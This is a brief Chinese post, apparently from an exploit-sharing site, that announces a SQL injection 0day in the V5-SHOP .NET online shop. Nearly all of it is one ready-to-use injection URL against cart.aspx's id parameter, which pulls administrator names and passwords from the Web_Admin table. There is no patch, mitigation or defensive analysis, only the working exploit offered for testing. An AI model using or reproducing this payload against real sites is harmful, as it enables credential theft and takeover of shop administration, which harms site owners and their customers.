V5-SHOP商城SQL注射0day

再生缘

net 的在线商城系统
以下是测试EXP：


cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast([Name] as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast([Pass] as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 [Name],[Pass] From [Web_Admin] Where 11=1 Order by [Name],[Pass]) T Order by [Name] desc,[Pass] desc)>0 –